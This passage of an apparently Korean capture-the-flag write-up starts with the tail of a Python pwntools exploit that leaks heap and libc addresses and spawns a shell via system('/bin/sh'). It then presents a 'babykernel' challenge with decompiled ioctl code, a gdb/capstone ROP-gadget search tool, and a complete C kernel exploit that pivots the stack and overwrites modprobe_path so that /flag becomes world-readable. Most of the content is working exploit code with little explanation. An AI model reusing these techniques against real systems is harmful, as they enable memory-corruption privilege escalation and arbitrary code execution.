126, 79, 0, 126, 80, 0, 126, 81, 0, 126, 82, 0, 126, 83, 0, 126, 84, 0, 126, 85, 0, 126, 86, 0, 126, 87, 0, 126, 88, 0, 126, 89, 0, 126, 90, 0, 126, 91, 0, 126, 92, 0, 126, 93, 0, 126, 94, 0, 126, 95, 0, 77, 45, 32, 0, 77, 45, 33, 0, 77, 45, 34, 0, 77, 45, 35, 0, 77, 45, 36, 0, 77, 45, 37, 0, 77, 45, 38, 0, 77, 45, 39, 0, 77, 45, 40, 0, 77, 45, 41, 0, 77, 45, 42, 0, 77, 45, 43, 0, 77, 45, 44, 0, 77, 45, 45, 0, 77, 45, 46, 0, 77, 45, 47, 0, 77, 45, 48, 0, 77, 45, 49, 0, 77, 45, 50, 0, 77, 45, 51, 0, 77, 45, 52, 0, 77, 45, 53, 0, 77, 45, 54, 0, 77, 45, 55, 0, 77, 45, 56, 0, 77, 45, 57, 0, 77, 45, 58, 0, 77, 45, 59, 0, 77, 45, 60, 0, 77, 45, 61, 0, 77, 45, 62, 0, 77, 45, 63, 0, 77, 45, 64, 0, 77, 45, 65, 0, 77, 45, 66, 0, 77, 45, 67, 0, 77, 45, 68, 0, 77, 45, 69, 0, 77, 45, 70, 0, 77, 45, 71, 0, 77, 45, 72, 0, 77, 45, 73, 0, 77, 45, 74, 0, 77, 45, 75, 0, 77, 45, 76, 0, 77, 45, 77, 0, 77, 45, 78, 0, 77, 45, 79, 0, 77, 45, 80, 0, 77, 45, 81, 0, 77, 45, 82, 0, 77, 45, 83, 0, 77, 45, 84, 0, 77, 45, 85, 0, 77, 45, 86, 0, 77, 45, 87, 0, 77, 45, 88, 0, 77, 45, 89, 0, 77, 45, 90, 0, 77, 45, 91, 0, 77, 45, 92, 0, 77, 45, 93, 0, 77, 45, 94, 0, 77, 45, 95, 0, 77, 45, 96, 0, 77, 45, 97, 0, 77, 45, 98, 0, 77, 45, 99, 0, 77, 45, 100, 0, 77, 45, 101, 0, 77, 45, 102, 0, 77, 45, 103, 0, 77, 45, 104, 0, 77, 45, 105, 0, 77, 45, 106, 0, 77, 45, 107, 0, 77, 45, 108, 0, 77, 45, 109, 0, 77, 45, 110, 0, 77, 45, 111, 0, 77, 45, 112, 0, 77, 45, 113, 0, 77, 45, 114, 0, 77, 45, 115, 0, 77, 45, 116, 0, 77, 45, 117, 0, 77, 45, 118, 0, 77, 45, 119, 0, 77, 45, 120, 0, 77, 45, 121, 0, 77, 45, 122, 0, 77, 45, 123, 0, 77, 45, 124, 0, 77, 45, 125, 0, 77, 45, 126, 0, 126, 63, 0, 128, 0, 129, 0, 130, 0, 131, 0, 132, 0, 133, 0, 134, 0, 135, 0, 136, 0, 137, 0, 138, 0, 139, 0, 140, 0, 141, 0, 142, 0, 143, 0, 144, 0, 145, 0, 146, 0, 147, 0, 148, 0, 149, 0, 150, 0, 151, 0, 152, 0, 153, 0, 154, 0, 155, 0, 156, 0, 157, 0, 158, 0, 159, 0, 160, 0, 161, 0, 162, 0, 163, 0, 164, 0, 165, 0, 166, 0, 167, 0, 168, 0, 169, 0, 170, 0, 171, 0, 172, 0, 173, 0, 174, 0, 175, 0, 176, 0, 177, 0, 178, 0, 179, 0, 180, 0, 181, 0, 182, 0, 183, 0, 184, 0, 185, 0, 186, 0, 187, 0, 188, 0, 189, 0, 190, 0, 191, 0, 192, 0, 193, 0, 194, 0, 195, 0, 196, 0, 197, 0, 198, 0, 199, 0, 200, 0, 201, 0, 202, 0, 203, 0, 204, 0, 205, 0, 206, 0, 207, 0, 208, 0, 209, 0, 210, 0, 211, 0, 212, 0, 213, 0, 214, 0, 215, 0, 216, 0, 217, 0, 218, 0, 219, 0, 220, 0, 221, 0, 222, 0, 223, 0, 224, 0, 225, 0, 226, 0, 227, 0, 228, 0, 229, 0, 230, 0, 231, 0, 232, 0, 233, 0, 234, 0, 235, 0, 236, 0, 237, 0, 238, 0, 239, 0, 240, 0, 241, 0, 242, 0, 243, 0, 244, 0, 245, 0, 246, 0, 247, 0, 248, 0, 249, 0, 250, 0, 251, 0, 252, 0, 253, 0, 254, 0, 255, 0]
word_29160 = [0, 0, 3, 0, 6, 0, 9, 0, 12, 0, 15, 0, 18, 0, 21, 0, 24, 0, 27, 0, 30, 0, 33, 0, 36, 0, 39, 0, 42, 0, 45, 0, 48, 0, 51, 0, 54, 0, 57, 0, 60, 0, 63, 0, 66, 0, 69, 0, 72, 0, 75, 0, 78, 0, 81, 0, 84, 0, 87, 0, 90, 0, 93, 0, 96, 0, 98, 0, 100, 0, 102, 0, 104, 0, 106, 0, 108, 0, 110, 0, 112, 0, 114, 0, 116, 0, 118, 0, 120, 0, 122, 0, 124, 0, 126, 0, 128, 0, 130, 0, 132, 0, 134, 0, 136, 0, 138, 0, 140, 0, 142, 0, 144, 0, 146, 0, 148, 0, 150, 0, 152, 0, 154, 0, 156, 0, 158, 0, 160, 0, 162, 0, 164, 0, 166, 0, 168, 0, 170, 0, 172, 0, 174, 0, 176, 0, 178, 0, 180, 0, 182, 0, 184, 0, 186, 0, 188, 0, 190, 0, 192, 0, 194, 0, 196, 0, 198, 0, 200, 0, 202, 0, 204, 0, 206, 0, 208, 0, 210, 0, 212, 0, 214, 0, 216, 0, 218, 0, 220, 0, 222, 0, 224, 0, 226, 0, 228, 0, 230, 0, 232, 0, 234, 0, 236, 0, 238, 0, 240, 0, 242, 0, 244, 0, 246, 0, 248, 0, 250, 0, 252, 0, 254, 0, 0, 1, 2, 1, 4, 1, 6, 1, 8, 1, 10, 1, 12, 1, 14, 1, 16, 1, 18, 1, 20, 1, 22, 1, 24, 1, 26, 1, 28, 1, 30, 1, 33, 1, 36, 1, 39, 1, 42, 1, 45, 1, 48, 1, 51, 1, 54, 1, 57, 1, 60, 1, 63, 1, 66, 1, 69, 1, 72, 1, 75, 1, 78, 1, 81, 1, 84, 1, 87, 1, 90, 1, 93, 1, 96, 1, 99, 1, 102, 1, 105, 1, 108, 1, 111, 1, 114, 1, 117, 1, 120, 1, 123, 1, 126, 1, 129, 1, 133, 1, 137, 1, 141, 1, 145, 1, 149, 1, 153, 1, 157, 1, 161, 1, 165, 1, 169, 1, 173, 1, 177, 1, 181, 1, 185, 1, 189, 1, 193, 1, 197, 1, 201, 1, 205, 1, 209, 1, 213, 1, 217, 1, 221, 1, 225, 1, 229, 1, 233, 1, 237, 1, 241, 1, 245, 1, 249, 1, 253, 1, 1, 2, 5, 2, 9, 2, 13, 2, 17, 2, 21, 2, 25, 2, 29, 2, 33, 2, 37, 2, 41, 2, 45, 2, 49, 2, 53, 2, 57, 2, 61, 2, 65, 2, 69, 2, 73, 2, 77, 2, 81, 2, 85, 2, 89, 2, 93, 2, 97, 2, 101, 2, 105, 2, 109, 2, 113, 2, 117, 2, 121, 2, 125, 2, 129, 2, 133, 2, 137, 2, 141, 2, 145, 2, 149, 2, 153, 2, 157, 2, 161, 2, 165, 2, 169, 2, 173, 2, 177, 2, 181, 2, 185, 2, 189, 2, 193, 2, 197, 2, 201, 2, 205, 2, 209, 2, 213, 2, 217, 2, 221, 2, 225, 2, 229, 2, 233, 2, 237, 2, 241, 2, 245, 2, 249, 2, 253, 2]
for i in range(len(word_29160)//2):
word_29160[i] = u16(bytes(word_29160[i*2:i*2+2]))
word_29160 = word_29160[:len(word_29160)//2+1]
for i in range(len(word_29780)//2):
word_29780[i] = u16(bytes(word_29780[i*2:i*2+2]))
word_29780 = word_29780[:len(word_29780)//2+1]
if (x-0xa0)&0xffffffff <= 0x5f:
v = []
for i in range(4):
if unk_29360[word_29780[x-0x80&0xffffffff]+i] == 0:
break
v.append(unk_29360[word_29780[x-0x80&0xffffffff]+i])
return bytes(v)
else:
v = []
for i in range(4):
if unk_29360[word_29160[x]+i] == 0:
break
v.append((unk_29360[word_29160[x]+i]))
return bytes(v)
def leak_bytes(raw_bytes : bytes, k : bytes, l : int) -> bytes:
def parse(res, raw,l,idx,candidates):
print(res)
if len(res) > l:
return None
elif len(res) == l:
return bytes(res)
else:
f = 0
for i in range(0x0,0x20):
if raw[idx+len(res):idx+len(res)+2] == unctrl_sp_emu(i):
res.append(i)
v = (parse(res,raw,l,idx+1,candidates))
f = 1
if v != None:
candidates.append(v)
res.pop()
for i in range(0x20,0x7f):
if p8(raw[idx+len(res)]) == unctrl_sp_emu(i):
res.append(i)
v = (parse(res,raw,l,idx,candidates))
f = 1
if v != None:
candidates.append(v)
res.pop()
for i in range(0x7f,0xa0):
if raw[idx+len(res):idx+len(res)+2] == unctrl_sp_emu(i):
res.append(i)
v = (parse(res,raw,l,idx+1,candidates))
f = 1
if v != None:
candidates.append(v)
res.pop()
for i in range(0xa0,0x100):
if (raw[idx+len(res)]) == (i):
res.append(i)
v = (parse(res,raw,l,idx,candidates))
f = 1
if v != None:
candidates.append(v)
res.pop()
if f==0:
return None
candidates = []
idx = raw_bytes.index(k)
res = []
parse(res, raw_bytes, l, idx+len(k),candidates)
return candidates
# pwndbg> source ./addrsearch.py
# addr : 0x55ad1bc7f6c0
# target addr start: 0x7f12897b8000
# target addr end : 0x7f1289765000
#
# 0x55ad1bc7f6c0 | 0x7f12897b9ce0 -- offset : -0xe720
# 0x55ad1bc7f6c8 | 0x7f12897b9cf0 -- offset : -0xe718
# 0x55ad1bc7f6d0 | 0x7f12897b9d00 -- offset : -0xe710
# 0x55ad1bc7f6d8 | 0x7f12897b9d10 -- offset : -0xe708
# 0x55ad1bc7f6e0 | 0x7f12897b9d20 -- offset : -0xe700
# 0x55ad1bc7f808 | 0x7f128978bb20 -- offset : -0xe5d8
# 0x55ad1bc7f8f0 | 0x7f12897c4b50 -- offset : -0xe4f0
# 0x55ad1bc7f8f8 | 0x7f12897b9d50 -- offset : -0xe4e8
# 0x55ad1bc800f8 | 0x7f1289765680 -- offset : -0xdce8
# 0x55ad1bc80168 | 0x7f12897615e0 -- offset : -0xdc78
# 0x55ad1bc80260 | 0x7f12897610a0 -- offset : -0xdb80
# 0x55ad1bc8e9b0 | 0x7f1289764cc0 -- offset : 0xbd0
# 0x55ad1bc8e9b8 | 0x7f1289764cc0 -- offset : 0xbd8
# 0x55ad1bc8e9b8 | 0x7f1289764cc0 -- offset : 0xbd8
if __name__ == '__main__':
for i in range(5):
print(solve(i+1))
rvuntil(b'Result')
s(b'\xe0')
rv = rvuntil(b'1.')
addr = leak_bytes(rv,b'1. ',6)
heap = 0
for i in addr:
v = u64(i + b'\x00'*2)
if (v >> 8*5) == 0x55 or (v >> 8*5) == 0x56:
if heap == 0:
heap = v
assert(heap != 0)
success("heap : " + hex(heap))
s(b'y')
for i in range(5):
print(solve(i+1),'solved')
rvuntil(b'Result')
# constraint
# addr-0x10+0x28 -> 0
# 0x55ad1bc7f6d8 | 0x7f12897b9d10 -- offset : -0xe708
s(b'A'*0x18 + p64(heap-0xe708-0x10))
rv = rvuntil(b'3. ')
addr = (leak_bytes(rv,b'3. ',6))
libc_base = 0
for i in addr:
v = u64(i + b'\x00'*2)
if (v >> 8*5) == 0x7f:
if libc_base == 0:
libc_base = v
assert(libc_base != 0)
libc_base -= 0x24bd10
success("libc_base : " + hex(libc_base))
s(b'y')
for i in range(5):
print(solve(i+1),'solved')
rvuntil(b'Result')
s(b'/bin/sh\x00' + b'A'*0x10 + p64(libc_base + 0x1f6080-0x10))
s(b'n')
sl(b'3')
s(p64(libc_base + libc.sym.system))
pause()
p.interactive()
babykernel
궁금해서 문제 파일을 받아서 풀어봤다.
Analysis
local_run.sh
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-cpu kvm64,+smep \
-kernel bzImage \
-initrd rootfs.img.gz \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 kaslr kpti=1 quiet panic=1" \
-s
smap가 안걸려있다.
babykernel.ko
copy_from_user(&user_struct, args, 0x18LL);
switch ( (_DWORD)cmd )
{
case 0x1002:
v5 = (char *)&ops + 8 * *(&user_struct + 2);
v6 = (_QWORD *)kmem_cache_alloc_trace(kmalloc_caches[18], 0x6000C0LL, 16LL);
*v6 = v5;
if ( (unsigned __int64)*(&user_struct + 1) > 0x10 )
_copy_overflow(16LL, *(&user_struct + 1));
else
copy_to_user(user_struct, v6);
break;
case 0x1003:
((void (*)(void))((char *)&ops + 8 * *(&user_struct + 2)))();// relative ex
break;
case 0x1001:
v4 = (_QWORD *)kmem_cache_alloc_trace(kmalloc_caches[18], 0x6000C0LL, 0x10LL);
*v4 = &commit_creds;
if ( (unsigned __int64)*(&user_struct + 1) <= 0x10 )
copy_to_user(user_struct, v4);
break;
}
return 1LL;
}
0x1002, 0x1001은 릭해주고, 0x1003은 ops에서 특정 오프셋만큼 떨어진 부분을 실행한다.
Exploitation
ops쪽이랑 코드쪽 매핑을 릭하고 피보팅해주고 modprobe_path를 덮었다. bzImage를 vmlinux로 추출하려했는데, 안되길래 직접 rop gadgets을 찾는 스크립트를 작성해서 가젯을 잘 가져왔다.
import gdb
from capstone import *
from tqdm import tqdm
import pickle
default = "../res.rop"
def brief(x,keywords):
m = 0x7ffffffff
M = -1
Ml = 0
for i in keywords:
if m > x.index(i):
m = x.index(i)
if M < x.index(i):
M = x.index(i)
Ml = len(i)
if m == -1 or M == -1:
return None
s,S = 0,0
if M+Ml+1 > len(x):
S = 1
if m-21 < 0:
s = 1
if s and not S:
return x[:M+Ml+1]
elif not s and S:
i = m
while True:
if x[i] == '\n':
i+=1
break
i-=1
return x[i:]
elif not s and not S:
i = m
while True:
if x[i] == '\n':
i+=1
break
i-=1
return x[i:M+Ml+1]
else:
return x
def parse_int(v):
if v.startswith("0x"):
v = int(v,16)
else:
v = int(v,10)
return v
def search(s,sv):
if sv:
print("save? (y/n) : ",end='')
v = input() == 'y'
if v:
with open(default,"wb") as f:
pickle.dump(s, f)
print("saved")
print()
print("Examples)\n\t1) array search :\n\t\tSearch > ['xchg','esp','ret']\n\t2) string search :\n\t\tSearch > xchg esp\n\t3) quit :\n\t\tSearch > q\n\t4) Save results :\n\t\tSearch > save")
print()
while True:
print("Search > ",end='')
v = input()
if v == 'q':
break
elif v.startswith('['):
print("limit : ",end='')
limit = parse_int(input())
arr = eval(v)
res = []
for i in s:
f = 0
cur = -1
idx = []
for j in arr:
if j not in i:
f = 1
break
else:
if cur < i.index(j):
idx.append(i.index(j))
cur = i.index(j)
else:
f = 1
if f==0:
m = sum(idx) / len(idx)
M = 0
t = 0
for k in idx:
t = (m - k)**2
if M < t:
M = t
res.append([t,i])
print("show brief (y/n) : ",end= '')
v = input() == 'y'
res.sort()
if len(res) < limit:
limit = len(res)
for i in range(limit):
if v:
print()
x= brief((res[i][1]),arr)
if x == None:
continue
print(x)
else:
print()
print((res[i][1]))
else:
print("limit : ",end='')
limit = parse_int(input())
for i in s:
if v in i:
print(i)
if __name__ == '__main__':
print("load? (y/n) : ",end='')
v = input() == 'y'
if v:
try:
s = ''
with open(default,'rb') as f:
s = pickle.load(f)
print("loaded successfully")
search(s,False)
except FileNotFoundError:
print(f"'{default}' not found")
else:
inf = gdb.inferiors()[0]
print("segment address : ",end='')
addr = parse_int(input())
res = gdb.execute(f"xinfo {addr}",to_string=True)
if 'Containing mapping:' in res:
res = res[res.index('0x')+2:]
res = res[res.index('0x'):].split()
print(f"reading memory {res[0]} ~ {res[1]} (0x{res[3]} bytes)")
mem = (inf.read_memory(int(res[0],16),int(res[3],16))).tobytes()
md = Cs(CS_ARCH_X86, CS_MODE_64)
#gadgets = [b'\xc3',b"\xc2",b'\xcb',b"\xca",b'\xf2\xc3',b"\xf2\xc2",b'\xff',b'\xeb',b'\xe9',b'\xf2\xff',b'\xcd\x80',b"\x0f\x34",b"\x0f\x05",b'\x65\xff\x15\x10\x00\x00\x00']
gadgets = [b'\xc3',b"\xc2",b'\xcb',b"\xca",b'\xff',b'\xeb',b'\xe9',b'\xf2',b'\xcd',b'\x0f',b'\x65',b'\x48'] # iretq
candi = []
print("finding gadgets")
for i in tqdm(range(len(mem))):
for k in gadgets:
if mem[i] == k[0] and i not in candi:
candi.append(i)
s = []
base = int(res[0],16)
# print("width : ",end='')
# v = parse_int(input())
v = 0x20 # width 0x20 by default
print("disassembling")
for j in tqdm(range(len(candi))):
tmp = ''
if j-v < 0:
for i in md.disasm(mem[:candi[j]+v], base):
tmp += ("%s:\t%s %s\n" %('0x'+hex(i.address).replace('0x','').zfill(16) + ' (+'+ hex(i.address-base)+')', i.mnemonic, i.op_str))
else:
for i in md.disasm(mem[candi[j]-v:candi[j]+v], base+candi[j]-v):
tmp += ("%s:\t%s %s\n" %('0x'+hex(i.address).replace('0x','').zfill(16) + ' (+'+ hex(i.address-base)+')', i.mnemonic, i.op_str))
s.append(tmp)
search(s,True)
else:
print("not mapped")
Exploit script
#include<sys/ioctl.h>
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<string.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/mman.h>
#define LEAK 0x1001
#define EXEC 0x1003
#define READ 0x1002
// -no-pie
struct ioinfo {
uint8_t * buf;
uint64_t size;
uint64_t off;
};
uint64_t user_cs, user_rflags, user_ss,user_rsp;
void shell(void){
system("echo '#!/bin/sh\nchmod 777 /flag' > /tmp/x");
system("chmod +x /tmp/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/v");
system("chmod +x /tmp/v");
system("/tmp/v");
system("cat /flag");
exit(0);
}
void save_state(){
__asm__ __volatile__ (
".intel_syntax noprefix;"
"mov user_cs, cs;"
"pushf;"
"pop user_rflags;"
"mov user_rsp, rsp;"
"mov user_ss, ss;"
".att_syntax;"
);
}
int main(){
int fd = open("/dev/babykernel",O_RDONLY);
if (fd == -1)
return -1;
struct ioinfo info;
save_state();
info.buf = (uint8_t *)malloc(0x10);
info.size = 0x8;
ioctl(fd, LEAK, &info);
uint64_t commit_creds = *(uint64_t *)info.buf;
info.off = 0x0;
ioctl(fd, READ, &info);
uint64_t ops = *(uint64_t *)info.buf;
printf("commit_creds : 0x%lx\nops : 0x%lx\n",commit_creds,ops);
free(info.buf);
uint64_t base = commit_creds &0xfffffffffff00000;
uint64_t xchg_esp = base + 0x605240;
// pwndbg> x/10xi 0xffffffff89205240
// 0xffffffff89205240: xchg esp,eax
// 0xffffffff89205241: ret
info.off = (xchg_esp - ops) / 8;
uint64_t * stack = mmap((void *)((xchg_esp & 0xffff0000)-0x5000), 0x10000,7,MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,-1,0);
uint64_t * stack1 = mmap((void *)((xchg_esp & 0xffff0000)), 0x10000,7,MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,-1,0);
// merge mem
if (!stack)
exit(-1);
printf("fake_stack : %p\n",stack);
uint64_t st = (xchg_esp & 0xffffffff);
*((uint64_t *)(st + 0x00)) = base + 0x8197fd;
*((uint64_t *)(st + 0x08)) = base + 0x1a8b340;
*((uint64_t *)(st + 0x10)) = base + 0x44b12;
*((uint64_t *)(st + 0x18)) = ((xchg_esp & 0xffffffff) + 0x500);
*((uint64_t *)(st + 0x20)) = base + 0x1c4203;
*((uint64_t *)(st + 0x28)) = 0x1;
*((uint64_t *)(st + 0x30)) = base + 0x72b6f7; // rep movsq qword ptr [rdi], qword ptr [rsi]
*((uint64_t *)(st + 0x38)) = base + 0x1001144;
*((uint64_t *)(st + 0x40)) = 0x0;
*((uint64_t *)(st + 0x48)) = 0x0;
*((uint64_t *)(st + 0x50)) = (uint64_t)&shell;
*((uint64_t *)(st + 0x58)) = user_cs;
*((uint64_t *)(st + 0x60)) = user_rflags;
*((uint64_t *)(st + 0x68)) = user_rsp;
*((uint64_t *)(st + 0x70)) = user_ss;
*(uint64_t *)((xchg_esp & 0xffffffff) + 0x500) = 0x782f706d742f;
ioctl(fd, EXEC, &info);
return 0;
}